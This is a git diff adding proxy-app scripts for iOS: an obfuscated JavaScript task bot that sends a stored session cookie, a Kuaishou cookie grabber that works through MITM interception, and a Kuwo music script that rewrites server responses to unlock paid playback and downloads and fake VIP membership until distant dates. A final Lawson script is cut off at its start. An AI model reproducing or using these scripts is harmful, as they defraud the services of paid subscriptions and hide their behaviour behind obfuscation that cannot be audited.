'\x45\x74\x4e\x68',0xa66,0xb2a,0xb71)+'\x65\x64'](0x1*-0x127+-0x8e0+0x7*0x16f)),'\x25');if(_0x32b31e[_0x11aece(0x765,0xb93,0xda9,'\x67\x4d\x30\x75',0xa4a)](_0x233d2a[_0x4ec511(0xc1b,0xc53,'\x61\x4c\x56\x47',0xdc6,0xf5a)][_0x11aece(0x959,0x844,0xd99,'\x4d\x58\x52\x4d',0x6df)+_0x14d7a0('\x46\x42\x49\x42',0x126,-0x3af,0x2d4,-0x1e)][_0x14d7a0('\x4d\x58\x52\x4d',0x70e,0x4de,0x4fb,0x7dd)],_0x32b31e[_0x332902('\x24\x66\x56\x5d',0x10a2,0x1315,0x111e,0x123b)]))_0x3f8abd=_0x233d2a[_0x14d7a0('\x6e\x53\x58\x24',0xffa,0xcf8,0x109f,0xb7e)][_0x14d7a0('\x45\x74\x4e\x68',0x3ff,0x686,0x584,0x91f)+_0x332902('\x41\x40\x62\x74',0x9ee,0x87a,0xbc6,0x518)][_0x14d7a0('\x5b\x35\x69\x4f',0x794,0xa72,0x1077,0xaf1)][0x123+-0x2357+0x2234];msgStr+=_0x32b31e[_0x11aece(0x1263,0x5e5,0xc4e,'\x6e\x46\x49\x33',0xa4b)](_0x32b31e[_0x11aece(0x464,0xbce,0x7cb,'\x45\x74\x4e\x68',0x601)](_0x32b31e[_0x4ec511(0xa1b,0x60b,'\x6c\x54\x48\x57',0x328,0x61c)](_0x32b31e[_0x332902('\x5b\x35\x69\x4f',0x68a,0x2d,0xce,0x2e)](_0x32b31e[_0x11aece(0x872,0x87f,0x400,'\x44\x5d\x71\x6c',-0x48)](_0x32b31e[_0x11aece(-0x4c6,0x4dc,0x1d8,'\x24\x4b\x72\x6d',0xef)](_0x32b31e[_0x332902('\x44\x5d\x71\x6c',0x9b3,0x45e,0x6f9,0x694)]('\u7b2c',_0x32b31e[_0x332902('\x49\x29\x49\x39',0xee8,0x8d7,0x1379,0xdde)](_0x475d80,0xea2+-0x1*0x1a25+0xb84*0x1)),_0x32b31e[_0x241691(0xf8,'\x24\x66\x56\x5d',0x5,0x429,0x207)]),nickName),'\x29'),_0x3f8abd),helpStr),'\x0d\x0a');}}else console[_0x11aece(0x270,0x906,0x4c6,'\x76\x74\x36\x39',0xaae)](_0x32b31e[_0x4ec511(-0x3bc,0x193,'\x6f\x65\x59\x78',0x7c1,-0x448)](_0x32b31e[_0x241691(-0x2e8,'\x64\x6f\x4e\x70',0x1fd,0x822,0x88a)],_0x233d2a[_0x14d7a0('\x5d\x79\x74\x33',-0x56b,0x423,0x776,0x135)+_0x14d7a0('\x7a\x78\x28\x4e',0x900,0xca3,0xbf1,0x86a)]));function _0x241691(_0x58e7ae,_0x56977f,_0x13bcdc,_0x7c9028,_0x51a134){return _0x1e5295(_0x58e7ae-0x17,_0x56977f-0x198,_0x13bcdc- -0x188,_0x56977f,_0x51a134-0x2c);}_0x32b31e[_0x14d7a0('\x56\x55\x65\x45',0x1158,0x919,0x92c,0xbec)](_0x5192de);});}catch(_0x1817aa){console[_0x11fe41(0x51a,0x97c,0xb4a,'\x76\x74\x36\x39',-0x171)](_0x32b31e[_0x1e5295(0x5e1,0x563,0xb8,'\x73\x28\x4d\x75',0x247)](_0x32b31e[_0x5b9c43(0x76c,'\x6e\x46\x49\x33',0x8ec,0x67e,0x74c)],_0x1817aa)),_0x32b31e[_0x454be0(0x66c,0x79c,0x2fc,'\x50\x5d\x49\x57',-0xfc)](_0x5192de);}});}function urlTask(_0x225f3c,_0xaf722e){function _0x5f2ff3(_0x4b4730,_0x19ffae,_0x2f7e97,_0x3b8145,_0x22f4ad){return _0x38128f(_0x4b4730-0x110,_0x19ffae-0xa6,_0x2f7e97-0xfc,_0x4b4730,_0x3b8145-0x684);}function _0x44b606(_0x2f1220,_0x35f4cd,_0x2acf97,_0xc9b767,_0x5f365a){return _0x14621e(_0x5f365a-0x39c,_0x2acf97,_0x2acf97-0x91,_0xc9b767-0x148,_0x5f365a-0x40);}function _0x377acf(_0x4ab841,_0x15afdf,_0x1296d9,_0x32a8e1,_0x2de101){return _0x14621e(_0x2de101-0x13f,_0x4ab841,_0x1296d9-0x17d,_0x32a8e1-0x186,_0x2de101-0x124);}function _0x586652(_0x455841,_0x38c8b3,_0x5bc7e5,_0x392cd3,_0x5589b6){return _0x38128f(_0x455841-0x9d,_0x38c8b3-0x14c,_0x5bc7e5-0x1f0,_0x455841,_0x5bc7e5-0x71b);}const _0x193ec9={'\x75\x56\x6f\x4c\x6d':_0x586652('\x7a\x78\x28\x4e',0x11b8,0xd8b,0x802,0x1091)+_0x586652('\x24\x4b\x72\x6d',0xb10,0x821,0xdde,0x750)+_0x586652('\x73\x28\x4d\x75',0x7c8,0xb31,0x7cf,0xa53)+_0x586652('\x6e\x76\x6d\x2a',0x1318,0xdbd,0x1175,0x1222)+_0x5f2ff3('\x30\x31\x32\x62',0x274,0x10f,0x62d,0x81e)+_0x1ce8b6(0x515,0x98b,0x7fb,0x54c,'\x43\x75\x73\x46'),'\x57\x53\x4c\x76\x62':_0x1ce8b6(-0x2eb,0x1fa,0xa,-0x7d,'\x46\x42\x49\x42')+_0x586652('\x49\x29\x49\x39',0x99c,0x58c,-0xc9,0xf3)+_0x377acf('\x21\x2a\x37\x57',0xd8f,0x104f,0xf8d,0xd15)+_0x44b606(0x13fb,0xf1d,'\x56\x6b\x71\x37',0xb90,0xea8)+_0x1ce8b6(0x6c3,0x256,-0xd9,0x78e,'\x21\x2a\x37\x57')+_0x377acf('\x58\x23\x51\x29',0xd77,0x1390,0x138b,0xdc9)+_0x586652('\x23\x4b\x6e\x33',0x503,0x90a,0x795,0x4f8),'\x57\x6c\x49\x50\x74':_0x377acf('\x5b\x35\x69\x4f',0x4af,0x67,0xe9,0x305)+_0x586652('\x6e\x76\x6d\x2a',-0x1b3,0x4e2,0x4ae,0x109)+_0x5f2ff3('\x21\x2a\x37\x57',0xbc5,0x679,0xbe4,0xe3c)+_0x5f2ff3('\x64\x6f\x4e\x70',0xdf0,0xa2f,0xf43,0xc8f)+_0x5f2ff3('\x70\x4b\x21\x31',0xdf8,0xa64,0x9a2,0xd7f)+_0x1ce8b6(0xe93,0x940,0xf05,0x285,'\x30\x29\x35\x70')+_0x586652('\x55\x4e\x28\x56',0xb6c,0xd87,0x9a7,0xc05)+_0x1ce8b6(0x898,0x6df,0x73b,0xb9e,'\x43\x75\x73\x46')+_0x377acf('\x5d\x5b\x48\x44',0x823,0x42f,-0x26f,0x2ea)+_0x377acf('\x46\x42\x49\x42',0x70a,0x1058,0x857,0x999)+_0x586652('\x49\x29\x49\x39',0x13ac,0xf11,0x152f,0xf8d)+_0x1ce8b6(-0xfa,-0xa,0x5eb,0x205,'\x67\x4d\x30\x75')+_0x5f2ff3('\x45\x64\x30\x4a',0x6f1,0x97d,0x5e2,0x7a6)+_0x586652('\x4c\x34\x59\x31',0x120f,0x1192,0x10f6,0x1210)+_0x5f2ff3('\x45\x74\x4e\x68',0x8ff,0x1102,0xd92,0x70d)+_0x586652('\x55\x4e\x28\x56',0xdd0,0x11e2,0x1087,0x13f2)+_0x1ce8b6(0x88,0x1f,0x37d,-0x52,'\x51\x50\x65\x2a')+_0x1ce8b6(0x991,0xc4f,0xd7c,0xb3d,'\x31\x71\x6b\x4a')+_0x1ce8b6(0x253,0x89a,0xdb0,0x419,'\x56\x6b\x71\x37')+_0x44b606(0x551,0x10aa,'\x7a\x78\x28\x4e',0xec1,0xc37)+_0x5f2ff3('\x76\x74\x36\x39',0xde0,0x81f,0xe1a,0x904)+_0x1ce8b6(-0x59,0x1ba,0x3c,0x7a2,'\x6b\x72\x35\x76')+_0x1ce8b6(-0xd3,-0x3b,-0x88,0x551,'\x31\x71\x6b\x4a')+_0x44b606(0x506,0x648,'\x51\x50\x65\x2a',0xf5c,0xacf)+_0x377acf('\x5d\x5b\x48\x44',0x7c0,0x593,0xd24,0xb1d)+_0x586652('\x46\x42\x49\x42',0x1528,0x10ab,0xa2e,0xe6e)+_0x377acf('\x6c\x54\x48\x57',0x414,0x911,0x6cd,0x499)+_0x44b606(0x2fd,0xb9e,'\x5b\x35\x69\x4f',0xe79,0x887)+_0x44b606(0xd5d,0x110c,'\x55\x4e\x28\x56',0xeee,0xafc)+_0x377acf('\x45\x74\x4e\x68',0xf2f,0x868,0xeec,0x880)+_0x1ce8b6(0xa7c,0x4c5,0x521,0x52d,'\x4c\x28\x57\x30')+_0x586652('\x24\x66\x56\x5d',0xc5f,0x113e,0x1625,0xc45)+_0x44b606(0xc15,0xbe2,'\x4d\x58\x52\x4d',0xc75,0x112f)+_0x586652('\x51\x50\x65\x2a',0xd9c,0x735,0x5d6,0x3f0)+_0x377acf('\x76\x74\x36\x39',0x7df,0x16a,0x2c1,0x30e)+_0x1ce8b6(0x814,0xc61,0x920,0x1097,'\x50\x5d\x49\x57')+_0x5f2ff3('\x5b\x35\x69\x4f',0xc8f,0xea8,0xc16,0x1077)+_0x5f2ff3('\x64\x6f\x4e\x70',0x10d7,0x993,0xcd4,0xa15)+_0x586652('\x45\x64\x30\x4a',0xb22,0x117d,0xd82,0x173c)+_0x377acf('\x6b\x72\x35\x76',0x43b,0xdf6,0x6a5,0x81e)+_0x586652('\x46\x42\x49\x42',0x110c,0xc87,0xcd0,0x1291)+_0x44b606(0xee2,0x157e,'\x43\x75\x73\x46',0x132a,0x100b)+_0x1ce8b6(0x5c2,0x87f,0xa70,0x35a,'\x6f\x65\x59\x78')+_0x586652('\x45\x55\x66\x55',0xb7b,0x6e7,0x9ab,0x5cf)+_0x586652('\x5d\x5b\x48\x44',0xa89,0xc76,0x105f,0x7ba)+_0x1ce8b6(0xb48,0x84b,0x6fb,0xe5b,'\x30\x29\x35\x70')+_0x44b606(0x115a,0xa00,'\x21\x33\x39\x77',0x6a7,0xc76)+_0x586652('\x34\x4a\x59\x74',0x549,0xa54,0xfe1,0xc1a)+_0x5f2ff3('\x61\x4c\x56\x47',0x140f,0xd29,0x11d4,0x1754)+_0x44b606(0xb1f,0xa6b,'\x5d\x79\x74\x33',0xda7,0xed1)+_0x5f2ff3('\x44\x5d\x71\x6c',0xb17,0xd8c,0xdd0,0x8cf)+_0x377acf('\x79\x45\x73\x4a',0xaeb,0x771,0x357,0x77c),'\x62\x71\x6c\x43\x4c':_0x1ce8b6(0x101,0xa4,0x618,-0x615,'\x34\x4a\x59\x74'),'\x69\x51\x79\x46\x46':_0x5f2ff3('\x56\x55\x65\x45',0x140b,0x932,0xf8b,0x148a)+_0x377acf('\x73\x28\x4d\x75',0x642,0x210,0x624,0x7d7)};function _0x1ce8b6(_0x54c030,_0x557c6f,_0x5e6fba,_0x581e3e,_0x1807f2){return _0x14621e(_0x557c6f- -0xde,_0x1807f2,_0x5e6fba-0x166,_0x581e3e-0x165,_0x1807f2-0xd2);}let _0x12601d={'\x75\x72\x6c':_0x225f3c,'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':_0x193ec9[_0x586652('\x5d\x5b\x48\x44',0xcbe,0xc63,0x1112,0x11c8)],'\x43\x6f\x6f\x6b\x69\x65':thisck,'\x41\x63\x63\x65\x70\x74':_0x193ec9[_0x5f2ff3('\x7a\x78\x28\x4e',0x9a1,-0x34,0x551,0x6c0)],'\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74':_0x193ec9[_0x5f2ff3('\x45\x64\x30\x4a',0x11fa,0xf7b,0x1122,0xe75)],'\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65':_0x193ec9[_0x44b606(0x13d3,0xbc0,'\x76\x74\x36\x39',0xd1a,0x1093)],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x193ec9[_0x586652('\x67\x4d\x30\x75',0x612,0x664,-0x51,0xbd)],'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68':_0xaf722e[_0x586652('\x6e\x53\x58\x24',0x5ca,0x95b,0xf0e,0xe59)+'\x68']},'\x74\x69\x6d\x65\x6f\x75\x74':0x2710,'\x62\x6f\x64\x79':_0xaf722e};return _0x12601d;} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +function dateFtt(fmt, date) { var o = { "M+": date.getMonth() + 1, "d+": date.getDate(), "h+": date.getHours(), "m+": date.getMinutes(), "s+": date.getSeconds(), "q+": Math.floor((date.getMonth() + 3) / 3), "S": date.getMilliseconds() }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (date.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt } +/*****************************************************************************/ diff --git a/Scripts/kuaishou/ks_getCookie.js b/Scripts/kuaishou/ks_getCookie.js new file mode 100644 index 00000000..4451289c --- /dev/null +++ b/Scripts/kuaishou/ks_getCookie.js @@ -0,0 +1,33 @@ +/* + 快手果园获取cookie + 重写地址:ug-fission.kuaishou.com/rest/n/darwin/orchard/water/watering, 触发类型:request-header + 进果园浇一次水 + MITM添加:ug-fission.kuaishou.com + 每次获取会覆盖之前的ck,请先用boxjs备份 +*/ +const $ = new API("ks_getCookie"); +!(async () => { + if ($.env.isNode) { + console.log('仅限iOS设备抓包用!'); + } else { + if ($request.url.indexOf('watering') > -1) { + const ck = `${$request.headers['Cookie'] || $request.headers['cookie']}`; + // const userId = ck.match(/userId=.+?;/) + $.write(ck, '#kscookies'); + $.notify('快手果园获取cookie成功', '', ''); + console.log(ck); + } + } + } +) +().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done({}); +}) + +/*********************************** API *************************************/ +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} +/*****************************************************************************/ diff --git a/Scripts/kuwo/kuwo.js b/Scripts/kuwo/kuwo.js new file mode 100644 index 00000000..68309633 --- /dev/null +++ b/Scripts/kuwo/kuwo.js @@ -0,0 +1,108 @@ +// 2023-04-22 14:55 + +if (!$response.body) $done({}); +const method = $request.method; +const url = $request.url; +let body = $response.body; + +if (url.includes("/a.p")) { + if (method == "POST") { + body = body + .replace(/"playright":\d+/g, '"playright":1') + .replace(/"downright":\d+/g, '"downright":1') + .replace(/"policytype":\d+/g, '"policytype":3') + .replace(/"policy":\d+/g, '"policy":5'); + } else if (url.includes("getvip")) { + let obj = JSON.parse(body); + obj.packs = { + end: 32495443200, + bought_vip: 1, + type: 1, + period: 31, + bought_vip_end: 32495443200 + }; + body = JSON.stringify(obj); + } +} else if (url.includes("mgxhtj.kuwo.cn") || url.includes("nmobi.kuwo.cn")) { + body = body + .replace(/]*>/g, "") + .replace(/]*>/g, "") + .replace(/( (item.st = 0)); + let tmp = obj.songs[0].audio[0].policy; + obj.user[0] = { + pid: obj.songs[0].audio[0].pid, + type: tmp, + name: tmp + "_1", + categray: tmp + "_1", + id: obj.songs[0].id, + order: 375787919, + final: [], + buy: 1657425321, + begin: 1657425321, + end: 4180305321, + CurEnd: 0, + playCnt: 0, + playUpper: 300, + downCnt: 0, + downUpper: 300, + playVideoCnt: 0, + playVideoUpper: 3000, + downVideoCnt: 0, + downVideoUpper: 3000, + price: obj.songs[0].audio[0].price, + period: 1000, + feetype: 0, + info: obj.songs[0] + }; + body = JSON.stringify(obj); + } +} else if (url.includes("/vip/enc/user/vip?op=ui")) { + body = + "Vo4m6X2hTph/vfpPmau8PTT0sFN6JCgzxSLVH/u3sbEt7VniYsVHbRFgOgN+Uvs39rAI7R3C5HVpaSj8tr8U8dLYwYdDCjMILuUorh3z0BiQToiWxudHkcASIPHNrmZHZYC/yv3DP4b89hbzfqU5UUDUqaZpEBZr76sDF2wNPmYjUEFSVCMGyTl1F6j1DBmKJ1Tik0YuG/2UBa/Ilz12a1KneXsNs5x5EE41bXDke7EygIB3I+6SoITZXOLFAFQFZujdI0GzClNglDKtclpUxpjN3uVeJxHLU40FTwNWo3ZDNv8KSdZpYZ5BDEOCyZkifmHlf1wnocX2zTr2xRAM6JhAD2WaSSNQQVJUI5lv72QNZSN43Pj/qdzatHQP4Pp/H1YxyP36rv3qBcnnJy/55YouIczRc3eJjXExRgo54qdyTYRMYoS9GzNn/edR3hSNnMn9PnElBCfZhkL0R5kZ9JBFCM3vNOy7Cnp6RVyAG0GFHv/g2q1yqkJxibyDro5nlnnvHjhZrsOvSvTXI1BBUlQjGoRqqCTDUvHLoiNwWMoKKfxtswWQiXjoQ6mL5dazxjUsbsHzC1N8YNMVtzf8gBryr3nMWS44wyUpi1/0WhGTRW1wsCllO1DB24+ibTFH/yftWN+/apM9vbQAkc/J+aFy/01plK7rsGNwWYYKG0sr6CS8dGQzy0On6aFo07hiU+wjUEFSVCOf/wKzzX5Cn/OLMKeVa1BPDxV5tm39vCrsxIG6T29VHWx8ck93S/nXCm2dHfojuLySZKJ50B1FaN5uFIY+LA1RbO/0sL+CoSJhoNOLibzt75c5dleW+lbwxLAAdBh5AFq4Z1Uj8bPjm5mHcGWQuBAyZIO+ie8wP4yvWwQFf1ENJiNQQVJUIzwCo22cpAtoAzYZWm3XFPfSlov4G15JGaaHL2X5FG5BTeUwwbBiQfwUpcb6oT8dbIKh2SsUZCeJZW43lLI0UIo9u3y1+P4GMtOKEZ7Sx0aQ3ewknthU2tpL0gnykFtiEtKBxcfHjJEen158zVXrbxxC0W35SmaYOOwgAmEMfxwHI1BBUlQjhVUHnBabnJcnmXCICcyUBglrZkXcNLwg91p4889vKFTLlzROHTt20UzjfKWsNK3U8pYgKYXPbQtSzIuRheEEQDFhLvEhIGKaB6yDoacDLJZ0jgFRIKKFBkbK0VE4nIABi1qgQOXvq1sG4QeupjfEWYqMX8EyyqPHrsDiCltAF1wjUEFSVCNybeUusnxJF2zswj8xQtfPiwfDj3TwKWxKXCmkheqHy7/0Qpyc84xWvq+YXktsU97wUZLHrgJmARudJmQNEwAweIdHMafcwreBy731z6kGLojy5TLgTN7XSm5Ar+hgOW+1ZwkWLyrVvaCdO/8/zdYl1w/PQUCs6dw0ThIeahwjpQ=="; +} else if (url.includes("/vip/v2/user/vip?op=ui")) { + let obj = JSON.parse(body); + obj.data = { + vipIcon: + "https://image.kuwo.cn/fe/f2d09ac0-b959-404f-86fa-dc65c715c0e96.png", + iconJumpUrl: + "http://vip1.kuwo.cn/vip/vue/anPay/pay/index.html?pageType=avip&MBOX_WEBCLOSE=1&FULLHASARROW=1", + growthValue: "21600", + vipTag: "VIP6", + vipOverSeasExpire: "0", + time: "1659582730304", + goSvipPage: "1", + isNewUser: "1", + vipmIcon: + "https://image.kuwo.cn/fe/34ad47f8-da7f-43e4-abdc-e6c995666368yyb.png", + svipIcon: + "https://image.kuwo.cn/fe/f2d09ac0-b959-404f-86fa-dc65c715c0e96.png", + vipmExpire: "32495443200000", + biedSong: "0", + luxuryIcon: + "https://image.kuwo.cn/fe/2fae68ff-de2d-4473-bf28-8efc29e44968vip.png", + userType: "3", + isYearUser: "2", + vip3Expire: "0", + experienceExpire: "0", + luxAutoPayUser: "2", + biedAlbum: "1", + vipLuxuryExpire: "32495443200000", + vipmAutoPayUser: "2", + svipAutoPayUser: "2", + vipExpire: "32495443200000", + svipExpire: "32495443200000" + }; + body = JSON.stringify(obj); +} else if (url.includes("/vip/v2/theme?op=gd")) { + let obj = JSON.parse(body); + obj.data.needBieds = null; + body = JSON.stringify(obj); +} + +$done({ body }); \ No newline at end of file diff --git a/Scripts/lawson.js b/Scripts/lawson.js new file mode 100644 index 00000000..3396e339 --- /dev/null +++ b/Scripts/lawson.js @@ -0,0 +1,60 @@ +let url = $request.url; +let obj=JSON.parse($response.body); + +try 